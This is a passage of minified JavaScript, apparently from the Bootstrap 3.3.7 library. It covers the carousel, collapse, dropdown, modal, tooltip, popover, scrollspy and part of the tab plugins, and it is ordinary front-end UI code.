this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(c){var d=a(c.target).closest(".btn");b.call(d,"toggle"),a(c.target).is('input[type="radio"], input[type="checkbox"]')||(c.preventDefault(),d.is("input,button")?d.trigger("focus"):d.find("input:visible,button:visible").first().trigger("focus"))}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(b){a(b.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(b.type))})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b),g="string"==typeof b?b:f.slide;e||d.data("bs.carousel",e=new c(this,f)),"number"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",a.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",a.proxy(this.pause,this)).on("mouseleave.bs.carousel",a.proxy(this.cycle,this))};c.VERSION="3.3.7",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(a){if(!/input|textarea/i.test(a.target.tagName)){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()}},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(".item"),this.$items.index(a||this.$active)},c.prototype.getItemForDirection=function(a,b){var c=this.getItemIndex(b),d="prev"==a&&0===c||"next"==a&&c==this.$items.length-1;if(d&&!this.options.wrap)return b;var e="prev"==a?-1:1,f=(c+e)%this.$items.length;return this.$items.eq(f)},c.prototype.to=function(a){var b=this,c=this.getItemIndex(this.$active=this.$element.find(".item.active"));if(!(a>this.$items.length-1||a<0))return this.sliding?this.$element.one("slid.bs.carousel",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?"next":"prev",this.$items.eq(a))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){if(!this.sliding)return this.slide("next")},c.prototype.prev=function(){if(!this.sliding)return this.slide("prev")},c.prototype.slide=function(b,d){var e=this.$element.find(".item.active"),f=d||this.getItemForDirection(b,e),g=this.interval,h="next"==b?"left":"right",i=this;if(f.hasClass("active"))return this.sliding=!1;var j=f[0],k=a.Event("slide.bs.carousel",{relatedTarget:j,direction:h});if(this.$element.trigger(k),!k.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var l=a(this.$indicators.children()[this.getItemIndex(f)]);l&&l.addClass("active")}var m=a.Event("slid.bs.carousel",{relatedTarget:j,direction:h});return a.support.transition&&this.$element.hasClass("slide")?(f.addClass(b),f[0].offsetWidth,e.addClass(h),f.addClass(h),e.one("bsTransitionEnd",function(){f.removeClass([b,h].join(" ")).addClass("active"),e.removeClass(["active",h].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger(m)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass("active"),f.addClass("active"),this.sliding=!1,this.$element.trigger(m)),g&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this};var e=function(c){var d,e=a(this),f=a(e.attr("data-target")||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""));if(f.hasClass("carousel")){var g=a.extend({},f.data(),e.data()),h=e.attr("data-slide-to");h&&(g.interval=!1),b.call(f,g),h&&f.data("bs.carousel").to(h),c.preventDefault()}};a(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){var c,d=b.attr("data-target")||(c=b.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"");return a(d)}function c(b){return this.each(function(){var c=a(this),e=c.data("bs.collapse"),f=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b);!e&&f.toggle&&/show|hide/.test(b)&&(f.toggle=!1),e||c.data("bs.collapse",e=new d(this,f)),"string"==typeof b&&e[b]()})}var d=function(b,c){this.$element=a(b),this.options=a.extend({},d.DEFAULTS,c),this.$trigger=a('[data-toggle="collapse"][href="#'+b.id+'"],[data-toggle="collapse"][data-target="#'+b.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};d.VERSION="3.3.7",d.TRANSITION_DURATION=350,d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b,e=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(e&&e.length&&(b=e.data("bs.collapse"),b&&b.transitioning))){var f=a.Event("show.bs.collapse");if(this.$element.trigger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,"hide"),b||e.data("bs.collapse",null));var g=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[g](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var h=function(){this.$element.removeClass("collapsing").addClass("collapse in")[g](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return h.call(this);var i=a.camelCase(["scroll",g].join("-"));this.$element.one("bsTransitionEnd",a.proxy(h,this)).emulateTransitionEnd(d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var e=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return a.support.transition?void this.$element[c](0).one("bsTransitionEnd",a.proxy(e,this)).emulateTransitionEnd(d.TRANSITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return a(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(c,d){var e=a(d);this.addAriaAndCollapsedClass(b(e),e)},this)).end()},d.prototype.addAriaAndCollapsedClass=function(a,b){var c=a.hasClass("in");a.attr("aria-expanded",c),b.toggleClass("collapsed",!c).attr("aria-expanded",c)};var e=a.fn.collapse;a.fn.collapse=c,a.fn.collapse.Constructor=d,a.fn.collapse.noConflict=function(){return a.fn.collapse=e,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(d){var e=a(this);e.attr("data-target")||d.preventDefault();var f=b(e),g=f.data("bs.collapse"),h=g?"toggle":e.data();c.call(f,h)})}(jQuery),+function(a){"use strict";function b(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}function c(c){c&&3===c.which||(a(e).remove(),a(f).each(function(){var d=a(this),e=b(d),f={relatedTarget:this};e.hasClass("open")&&(c&&"click"==c.type&&/input|textarea/i.test(c.target.tagName)&&a.contains(e[0],c.target)||(e.trigger(c=a.Event("hide.bs.dropdown",f)),c.isDefaultPrevented()||(d.attr("aria-expanded","false"),e.removeClass("open").trigger(a.Event("hidden.bs.dropdown",f)))))}))}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=function(b){a(b).on("click.bs.dropdown",this.toggle)};g.VERSION="3.3.7",g.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=b(e),g=f.hasClass("open");if(c(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(a(this)).on("click",c);var h={relatedTarget:this};if(f.trigger(d=a.Event("show.bs.dropdown",h)),d.isDefaultPrevented())return;e.trigger("focus").attr("aria-expanded","true"),f.toggleClass("open").trigger(a.Event("shown.bs.dropdown",h))}return!1}},g.prototype.keydown=function(c){if(/(38|40|27|32)/.test(c.which)&&!/input|textarea/i.test(c.target.tagName)){var d=a(this);if(c.preventDefault(),c.stopPropagation(),!d.is(".disabled, :disabled")){var e=b(d),g=e.hasClass("open");if(!g&&27!=c.which||g&&27==c.which)return 27==c.which&&e.find(f).trigger("focus"),d.trigger("click");var h=" li:not(.disabled):visible a",i=e.find(".dropdown-menu"+h);if(i.length){var j=i.index(c.target);38==c.which&&j>0&&j--,40==c.which&&j<i.length-1&&j++,~j||(j=0),i.eq(j).trigger("focus")}}}};var h=a.fn.dropdown;a.fn.dropdown=d,a.fn.dropdown.Constructor=g,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=h,this},a(document).on("click.bs.dropdown.data-api",c).on("click.bs.dropdown.data-api",".dropdown form",function(a){a.stopPropagation()}).on("click.bs.dropdown.data-api",f,g.prototype.toggle).on("keydown.bs.dropdown.data-api",f,g.prototype.keydown).on("keydown.bs.dropdown.data-api",".dropdown-menu",g.prototype.keydown)}(jQuery),+function(a){"use strict";function b(b,d){return this.each(function(){var e=a(this),f=e.data("bs.modal"),g=a.extend({},c.DEFAULTS,e.data(),"object"==typeof b&&b);f||e.data("bs.modal",f=new c(this,g)),"string"==typeof b?f[b](d):g.show&&f.show(d)})}var c=function(b,c){this.options=c,this.$body=a(document.body),this.$element=a(b),this.$dialog=this.$element.find(".modal-dialog"),this.$backdrop=null,this.isShown=null,this.originalBodyPad=null,this.scrollbarWidth=0,this.ignoreBackdropClick=!1,this.options.remote&&this.$element.find(".modal-content").load(this.options.remote,a.proxy(function(){this.$element.trigger("loaded.bs.modal")},this))};c.VERSION="3.3.7",c.TRANSITION_DURATION=300,c.BACKDROP_TRANSITION_DURATION=150,c.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},c.prototype.toggle=function(a){return this.isShown?this.hide():this.show(a)},c.prototype.show=function(b){var d=this,e=a.Event("show.bs.modal",{relatedTarget:b});this.$element.trigger(e),this.isShown||e.isDefaultPrevented()||(this.isShown=!0,this.checkScrollbar(),this.setScrollbar(),this.$body.addClass("modal-open"),this.escape(),this.resize(),this.$element.on("click.dismiss.bs.modal",'[data-dismiss="modal"]',a.proxy(this.hide,this)),this.$dialog.on("mousedown.dismiss.bs.modal",function(){d.$element.one("mouseup.dismiss.bs.modal",function(b){a(b.target).is(d.$element)&&(d.ignoreBackdropClick=!0)})}),this.backdrop(function(){var e=a.support.transition&&d.$element.hasClass("fade");d.$element.parent().length||d.$element.appendTo(d.$body),d.$element.show().scrollTop(0),d.adjustDialog(),e&&d.$element[0].offsetWidth,d.$element.addClass("in"),d.enforceFocus();var f=a.Event("shown.bs.modal",{relatedTarget:b});e?d.$dialog.one("bsTransitionEnd",function(){d.$element.trigger("focus").trigger(f)}).emulateTransitionEnd(c.TRANSITION_DURATION):d.$element.trigger("focus").trigger(f)}))},c.prototype.hide=function(b){b&&b.preventDefault(),b=a.Event("hide.bs.modal"),this.$element.trigger(b),this.isShown&&!b.isDefaultPrevented()&&(this.isShown=!1,this.escape(),this.resize(),a(document).off("focusin.bs.modal"),this.$element.removeClass("in").off("click.dismiss.bs.modal").off("mouseup.dismiss.bs.modal"),this.$dialog.off("mousedown.dismiss.bs.modal"),a.support.transition&&this.$element.hasClass("fade")?this.$element.one("bsTransitionEnd",a.proxy(this.hideModal,this)).emulateTransitionEnd(c.TRANSITION_DURATION):this.hideModal())},c.prototype.enforceFocus=function(){a(document).off("focusin.bs.modal").on("focusin.bs.modal",a.proxy(function(a){document===a.target||this.$element[0]===a.target||this.$element.has(a.target).length||this.$element.trigger("focus")},this))},c.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on("keydown.dismiss.bs.modal",a.proxy(function(a){27==a.which&&this.hide()},this)):this.isShown||this.$element.off("keydown.dismiss.bs.modal")},c.prototype.resize=function(){this.isShown?a(window).on("resize.bs.modal",a.proxy(this.handleUpdate,this)):a(window).off("resize.bs.modal")},c.prototype.hideModal=function(){var a=this;this.$element.hide(),this.backdrop(function(){a.$body.removeClass("modal-open"),a.resetAdjustments(),a.resetScrollbar(),a.$element.trigger("hidden.bs.modal")})},c.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},c.prototype.backdrop=function(b){var d=this,e=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var f=a.support.transition&&e;if(this.$backdrop=a(document.createElement("div")).addClass("modal-backdrop "+e).appendTo(this.$body),this.$element.on("click.dismiss.bs.modal",a.proxy(function(a){return this.ignoreBackdropClick?void(this.ignoreBackdropClick=!1):void(a.target===a.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus():this.hide()))},this)),f&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!b)return;f?this.$backdrop.one("bsTransitionEnd",b).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):b()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass("in");var g=function(){d.removeBackdrop(),b&&b()};a.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one("bsTransitionEnd",g).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):g()}else b&&b()},c.prototype.handleUpdate=function(){this.adjustDialog()},c.prototype.adjustDialog=function(){var a=this.$element[0].scrollHeight>document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&a?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!a?this.scrollbarWidth:""})},c.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},c.prototype.checkScrollbar=function(){var a=window.innerWidth;if(!a){var b=document.documentElement.getBoundingClientRect();a=b.right-Math.abs(b.left)}this.bodyIsOverflowing=document.body.clientWidth<a,this.scrollbarWidth=this.measureScrollbar()},c.prototype.setScrollbar=function(){var a=parseInt(this.$body.css("padding-right")||0,10);this.originalBodyPad=document.body.style.paddingRight||"",this.bodyIsOverflowing&&this.$body.css("padding-right",a+this.scrollbarWidth)},c.prototype.resetScrollbar=function(){this.$body.css("padding-right",this.originalBodyPad)},c.prototype.measureScrollbar=function(){var a=document.createElement("div");a.className="modal-scrollbar-measure",this.$body.append(a);var b=a.offsetWidth-a.clientWidth;return this.$body[0].removeChild(a),b};var d=a.fn.modal;a.fn.modal=b,a.fn.modal.Constructor=c,a.fn.modal.noConflict=function(){return a.fn.modal=d,this},a(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',function(c){var d=a(this),e=d.attr("href"),f=a(d.attr("data-target")||e&&e.replace(/.*(?=#[^\s]+$)/,"")),g=f.data("bs.modal")?"toggle":a.extend({remote:!/#/.test(e)&&e},f.data(),d.data());d.is("a")&&c.preventDefault(),f.one("show.bs.modal",function(a){a.isDefaultPrevented()||f.one("hidden.bs.modal",function(){d.is(":visible")&&d.trigger("focus")})}),b.call(f,g,this)})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.tooltip"),f="object"==typeof b&&b;!e&&/destroy|hide/.test(b)||(e||d.data("bs.tooltip",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.type=null,this.options=null,this.enabled=null,this.timeout=null,this.hoverState=null,this.$element=null,this.inState=null,this.init("tooltip",a,b)};c.VERSION="3.3.7",c.TRANSITION_DURATION=150,c.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},c.prototype.init=function(b,c,d){if(this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d),this.$viewport=this.options.viewport&&a(a.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var e=this.options.trigger.split(" "),f=e.length;f--;){var g=e[f];if("click"==g)this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this));else if("manual"!=g){var h="hover"==g?"mouseenter":"focusin",i="hover"==g?"mouseleave":"focusout";this.$element.on(h+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+"."+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},c.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},c.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusin"==b.type?"focus":"hover"]=!0),c.tip().hasClass("in")||"in"==c.hoverState?void(c.hoverState="in"):(clearTimeout(c.timeout),c.hoverState="in",c.options.delay&&c.options.delay.show?void(c.timeout=setTimeout(function(){"in"==c.hoverState&&c.show()},c.options.delay.show)):c.show())},c.prototype.isInStateTrue=function(){for(var a in this.inState)if(this.inState[a])return!0;return!1},c.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);if(c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusout"==b.type?"focus":"hover"]=!1),!c.isInStateTrue())return clearTimeout(c.timeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){"out"==c.hoverState&&c.hide()},c.options.delay.hide)):c.hide()},c.prototype.show=function(){var b=a.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(b);var d=a.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(b.isDefaultPrevented()||!d)return;var e=this,f=this.tip(),g=this.getUID(this.type);this.setContent(),f.attr("id",g),this.$element.attr("aria-describedby",g),this.options.animation&&f.addClass("fade");var h="function"==typeof this.options.placement?this.options.placement.call(this,f[0],this.$element[0]):this.options.placement,i=/\s?auto?\s?/i,j=i.test(h);j&&(h=h.replace(i,"")||"top"),f.detach().css({top:0,left:0,display:"block"}).addClass(h).data("bs."+this.type,this),this.options.container?f.appendTo(this.options.container):f.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var k=this.getPosition(),l=f[0].offsetWidth,m=f[0].offsetHeight;if(j){var n=h,o=this.getPosition(this.$viewport);h="bottom"==h&&k.bottom+m>o.bottom?"top":"top"==h&&k.top-m<o.top?"bottom":"right"==h&&k.right+l>o.width?"left":"left"==h&&k.left-l<o.left?"right":h,f.removeClass(n).addClass(h)}var p=this.getCalculatedOffset(h,k,l,m);this.applyPlacement(p,h);var q=function(){var a=e.hoverState;e.$element.trigger("shown.bs."+e.type),e.hoverState=null,"out"==a&&e.leave(e)};a.support.transition&&this.$tip.hasClass("fade")?f.one("bsTransitionEnd",q).emulateTransitionEnd(c.TRANSITION_DURATION):q()}},c.prototype.applyPlacement=function(b,c){var d=this.tip(),e=d[0].offsetWidth,f=d[0].offsetHeight,g=parseInt(d.css("margin-top"),10),h=parseInt(d.css("margin-left"),10);isNaN(g)&&(g=0),isNaN(h)&&(h=0),b.top+=g,b.left+=h,a.offset.setOffset(d[0],a.extend({using:function(a){d.css({top:Math.round(a.top),left:Math.round(a.left)})}},b),0),d.addClass("in");var i=d[0].offsetWidth,j=d[0].offsetHeight;"top"==c&&j!=f&&(b.top=b.top+f-j);var k=this.getViewportAdjustedDelta(c,b,i,j);k.left?b.left+=k.left:b.top+=k.top;var l=/top|bottom/.test(c),m=l?2*k.left-e+i:2*k.top-f+j,n=l?"offsetWidth":"offsetHeight";d.offset(b),this.replaceArrow(m,d[0][n],l)},c.prototype.replaceArrow=function(a,b,c){this.arrow().css(c?"left":"top",50*(1-a/b)+"%").css(c?"top":"left","")},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle();a.find(".tooltip-inner")[this.options.html?"html":"text"](b),a.removeClass("fade in top bottom left right")},c.prototype.hide=function(b){function d(){"in"!=e.hoverState&&f.detach(),e.$element&&e.$element.removeAttr("aria-describedby").trigger("hidden.bs."+e.type),b&&b()}var e=this,f=a(this.$tip),g=a.Event("hide.bs."+this.type);if(this.$element.trigger(g),!g.isDefaultPrevented())return f.removeClass("in"),a.support.transition&&f.hasClass("fade")?f.one("bsTransitionEnd",d).emulateTransitionEnd(c.TRANSITION_DURATION):d(),this.hoverState=null,this},c.prototype.fixTitle=function(){var a=this.$element;(a.attr("title")||"string"!=typeof a.attr("data-original-title"))&&a.attr("data-original-title",a.attr("title")||"").attr("title","")},c.prototype.hasContent=function(){return this.getTitle()},c.prototype.getPosition=function(b){b=b||this.$element;var c=b[0],d="BODY"==c.tagName,e=c.getBoundingClientRect();null==e.width&&(e=a.extend({},e,{width:e.right-e.left,height:e.bottom-e.top}));var f=window.SVGElement&&c instanceof window.SVGElement,g=d?{top:0,left:0}:f?null:b.offset(),h={scroll:d?document.documentElement.scrollTop||document.body.scrollTop:b.scrollTop()},i=d?{width:a(window).width(),height:a(window).height()}:null;return a.extend({},e,h,i,g)},c.prototype.getCalculatedOffset=function(a,b,c,d){return"bottom"==a?{top:b.top+b.height,left:b.left+b.width/2-c/2}:"top"==a?{top:b.top-d,left:b.left+b.width/2-c/2}:"left"==a?{top:b.top+b.height/2-d/2,left:b.left-c}:{top:b.top+b.height/2-d/2,left:b.left+b.width}},c.prototype.getViewportAdjustedDelta=function(a,b,c,d){var e={top:0,left:0};if(!this.$viewport)return e;var f=this.options.viewport&&this.options.viewport.padding||0,g=this.getPosition(this.$viewport);if(/right|left/.test(a)){var h=b.top-f-g.scroll,i=b.top+f-g.scroll+d;h<g.top?e.top=g.top-h:i>g.top+g.height&&(e.top=g.top+g.height-i)}else{var j=b.left-f,k=b.left+f+c;j<g.left?e.left=g.left-j:k>g.right&&(e.left=g.left+g.width-k)}return e},c.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||("function"==typeof c.title?c.title.call(b[0]):c.title)},c.prototype.getUID=function(a){do a+=~~(1e6*Math.random());while(document.getElementById(a));return a},c.prototype.tip=function(){if(!this.$tip&&(this.$tip=a(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},c.prototype.enable=function(){this.enabled=!0},c.prototype.disable=function(){this.enabled=!1},c.prototype.toggleEnabled=function(){this.enabled=!this.enabled},c.prototype.toggle=function(b){var c=this;b&&(c=a(b.currentTarget).data("bs."+this.type),c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c))),b?(c.inState.click=!c.inState.click,c.isInStateTrue()?c.enter(c):c.leave(c)):c.tip().hasClass("in")?c.leave(c):c.enter(c)},c.prototype.destroy=function(){var a=this;clearTimeout(this.timeout),this.hide(function(){a.$element.off("."+a.type).removeData("bs."+a.type),a.$tip&&a.$tip.detach(),a.$tip=null,a.$arrow=null,a.$viewport=null,a.$element=null})};var d=a.fn.tooltip;a.fn.tooltip=b,a.fn.tooltip.Constructor=c,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=d,this}}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof b&&b;!e&&/destroy|hide/.test(b)||(e||d.data("bs.popover",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.init("popover",a,b)};if(!a.fn.tooltip)throw new Error("Popover requires tooltip.js");c.VERSION="3.3.7",c.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'}),c.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),c.prototype.constructor=c,c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content").children().detach().end()[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},c.prototype.hasContent=function(){return this.getTitle()||this.getContent()},c.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var d=a.fn.popover;a.fn.popover=b,a.fn.popover.Constructor=c,a.fn.popover.noConflict=function(){return a.fn.popover=d,this}}(jQuery),+function(a){"use strict";function b(c,d){this.$body=a(document.body),this.$scrollElement=a(a(c).is(document.body)?window:c),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",a.proxy(this.process,this)),this.refresh(),this.process()}function c(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})}b.VERSION="3.3.7",b.DEFAULTS={offset:10},b.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},b.prototype.refresh=function(){var b=this,c="offset",d=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),a.isWindow(this.$scrollElement[0])||(c="position",d=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var b=a(this),e=b.data("target")||b.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[c]().top+d,e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){b.offsets.push(this[0]),b.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.getScrollHeight(),d=this.options.offset+c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(this.scrollHeight!=c&&this.refresh(),b>=d)return g!=(a=f[f.length-1])&&this.activate(a);if(g&&b<e[0])return this.activeTarget=null,this.clear();for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(void 0===e[a+1]||b<e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){
7 | this.activeTarget=b,this.clear();var c=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',d=a(c).parents("li").addClass("active");d.parent(".dropdown-menu").length&&(d=d.closest("li.dropdown").addClass("active")),d.trigger("activate.bs.scrollspy")},b.prototype.clear=function(){a(this.selector).parentsUntil(this.options.target,".active").removeClass("active")};var d=a.fn.scrollspy;a.fn.scrollspy=c,a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=d,this},a(window).on("load.bs.scrollspy.data-api",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);c.call(b,b.data())})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.tab");e||d.data("bs.tab",e=new c(this)),"string"==typeof b&&e[b]()})}var c=function(b){this.element=a(b)};c.VERSION="3.3.7",c.TRANSITION_DURATION=150,c.prototype.show=function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.data("target");if(d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),!b.parent("li").hasClass("active")){var e=c.find(".active:last a"),f=a.Event("hide.bs.tab",{relatedTarget:b[0]}),g=a.Event("show.bs.tab",{relatedTarget:e[0]});if(e.trigger(f),b.trigger(g),!g.isDefaultPrevented()&&!f.isDefaultPrevented()){var h=a(d);this.activate(b.closest("li"),c),this.activate(h,h.parent(),function(){e.trigger({type:"hidden.bs.tab",relatedTarget:b[0]}),b.trigger({type:"shown.bs.tab",relatedTarget:e[0]})})}}},c.prototype.activate=function(b,d,e){function f(){g.removeClass("active").find("> .dropdown-menu > 